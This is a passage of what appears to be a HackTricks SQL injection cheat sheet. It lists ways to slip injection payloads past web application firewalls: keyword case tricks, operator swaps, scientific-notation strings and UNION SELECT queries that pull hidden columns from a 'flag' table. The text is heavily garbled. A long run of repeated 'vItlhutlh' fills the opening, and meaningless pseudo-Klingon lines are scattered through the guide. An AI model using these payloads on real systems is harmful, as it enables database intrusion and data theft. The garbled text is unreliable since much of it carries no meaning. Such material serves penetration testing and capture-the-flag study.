vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhut
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
Blacklist using keywords case insensitive - bypass using an equivalent operator
tlhIngan Hol Translation:
Blacklist using keywords case insensitive - bypass using an equivalent operator
Markdown:
## Blacklist using keywords case insensitive - bypass using an equivalent operator
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
Scientific Notation WAF bypass
You can find a more in depth explaination of this trick in gosecure blog.
Basically you can use the scientific notation in unexpected ways for the WAF to bypass it:
qulDajtaHvIS not'a' QaD
gosecure blog Daq yIlo'laHbe'chugh, 'ej vItlhutlhlaHbe'chugh.
WAF qulDajtaHvIS not'a' QaD, qulDajtaHvIS not'a' QaD vItlhutlhlaHbe'chugh:
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
Bypass Column Names Restriction
First of all, notice that if the original query and the table where you want to extract the flag from have the same amount of columns you might just do: 0 UNION SELECT * FROM flag
It’s possible to access the third column of a table without using its name using a query like the following: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, so in an sqlinjection this would looks like:
ʼejnISmeymey QaQmey
ghItlhvam, ghItlhvam vItlhutlh 'ej vItlhutlh qaStaHvIS flag vItlhutlhDaq vItlhutlhDaq qaStaHvIS columns vaj vaj vItlhutlh: 0 UNION SELECT * FROM flag
**vItlhutlhDaqDaq vItlhutlhDaqDaq vItlhutlhDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaqDaq
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
vaj comma bypass vItlhutlh.
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
This trick was taken from https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/
WAF bypass suggester tools
{% embed url="https://github.com/m4ll0k/Atlas" %}
Other Guides
- https://sqlwiki.netspi.com/
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
Brute-Force Detection List
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
RootedCON is the most relevant cybersecurity event in Spain and one of the most important in Europe. With the mission of promoting technical knowledge, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
{% embed url="https://www.rootedcon.com/" %}
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
- Discover The PEASS Family, our collection of exclusive NFTs
- Get the official PEASS & HackTricks swag
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
- Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.